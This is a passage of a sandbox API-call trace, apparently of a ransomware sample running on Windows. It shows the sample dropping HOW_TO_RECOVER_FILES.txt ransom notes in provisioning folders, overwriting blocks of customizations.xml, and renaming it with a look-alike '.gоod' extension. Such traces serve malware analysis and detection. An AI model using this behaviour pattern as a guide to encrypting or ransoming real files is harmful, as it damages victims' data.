ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.192] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0121.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0121.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0121.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0121.192] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1fcecb40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0121.192] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\*", lpFindFileData=0x1fcecdc0 | out: lpFindFileData=0x1fcecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0121.193] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.193] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f7b887, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f7b887, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f7b887, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0121.193] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f7b887, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f7b887, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f7b887, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0121.193] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0121.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0121.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0121.193] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcecaf0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0121.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced010) returned 1 [0121.193] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0121.194] GetFileType (hFile=0x7c8) returned 0x1 [0121.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecf80) returned 1 [0121.194] GetFileType (hFile=0x7c8) returned 0x1 [0121.195] WriteFile (in: hFile=0x7c8, lpBuffer=0x352b810*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fced0d8, lpOverlapped=0x0 | out: lpBuffer=0x352b810*, lpNumberOfBytesWritten=0x1fced0d8*=0x5d0, lpOverlapped=0x0) returned 1 [0121.196] CloseHandle (hObject=0x7c8) returned 1 [0121.196] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fced520, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0121.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceda40) returned 1 [0121.196] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0121.196] GetFileType (hFile=0x7c8) returned 0x1 [0121.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9b0) returned 1 [0121.196] GetFileType (hFile=0x7c8) returned 0x1 [0121.197] WriteFile (in: hFile=0x7c8, lpBuffer=0x352f108*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcedb08, lpOverlapped=0x0 | out: lpBuffer=0x352f108*, lpNumberOfBytesWritten=0x1fcedb08*=0x5d0, lpOverlapped=0x0) returned 1 [0121.198] CloseHandle (hObject=0x7c8) returned 1 [0121.198] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcedf50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0121.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee470) returned 1 [0121.198] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0121.200] GetFileType (hFile=0x7c8) returned 0x1 [0121.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee3e0) returned 1 [0121.201] GetFileType (hFile=0x7c8) returned 0x1 [0121.201] WriteFile (in: hFile=0x7c8, lpBuffer=0x3532e08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcee538, lpOverlapped=0x0 | out: lpBuffer=0x3532e08*, lpNumberOfBytesWritten=0x1fcee538*=0x5d0, lpOverlapped=0x0) returned 1 [0121.202] CloseHandle (hObject=0x7c8) returned 1 [0121.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0121.202] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}", nBufferLength=0x105, lpBuffer=0x1fcedfa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpFilePart=0x0) returned 0x4c [0121.202] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0121.206] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.206] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930c721b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x930c721b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x930c721b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x9ba5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0121.206] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0121.206] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0121.207] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0121.207] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0121.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0121.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0121.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0121.352] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}", nBufferLength=0x105, lpBuffer=0x1fcedfa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpFilePart=0x0) returned 0x4c [0121.352] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0121.353] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.353] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930c721b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x930c721b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x930c721b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x9ba5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0121.353] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0121.353] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0121.353] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.353] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0121.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0121.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0121.354] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0121.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0121.354] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x33ccd60 | out: lpFileInformation=0x33ccd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930c721b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x930c721b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x930c721b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x9ba5b)) returned 1 [0121.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0121.355] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0121.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0121.355] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0121.356] GetFileType (hFile=0x768) returned 0x1 [0121.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0121.356] GetFileType (hFile=0x768) returned 0x1 [0121.356] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0121.356] ReadFile (in: hFile=0x768, lpBuffer=0x33cd1e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x33cd1e8*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0121.359] CloseHandle (hObject=0x768) returned 1 [0121.359] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0121.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0121.359] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0121.359] GetFileType (hFile=0x768) returned 0x1 [0121.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0121.359] GetFileType (hFile=0x768) returned 0x1 [0121.359] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x9ba5b [0121.359] WriteFile (in: hFile=0x768, lpBuffer=0x33cead0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x33cead0*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0121.361] CloseHandle (hObject=0x768) returned 1 [0121.361] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0121.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0121.361] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0121.362] GetFileType (hFile=0x768) returned 0x1 [0121.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0121.362] GetFileType (hFile=0x768) returned 0x1 [0121.362] ReadFile (in: hFile=0x768, lpBuffer=0x33d1168, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x33d1168*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0121.389] CloseHandle (hObject=0x768) returned 1 [0121.389] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0121.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0121.390] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0121.390] GetFileType (hFile=0x768) returned 0x1 [0121.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0121.390] GetFileType (hFile=0x768) returned 0x1 [0121.390] WriteFile (in: hFile=0x768, lpBuffer=0x33cfe88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x33cfe88*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0121.390] CloseHandle (hObject=0x768) returned 1 [0121.390] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0121.390] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0121.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0121.390] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930c721b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x930c721b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x4490c319, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9ba6b)) returned 1 [0121.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0121.390] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.gоod")) returned 1 [0121.391] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0121.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0121.391] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x344d8f8 | out: 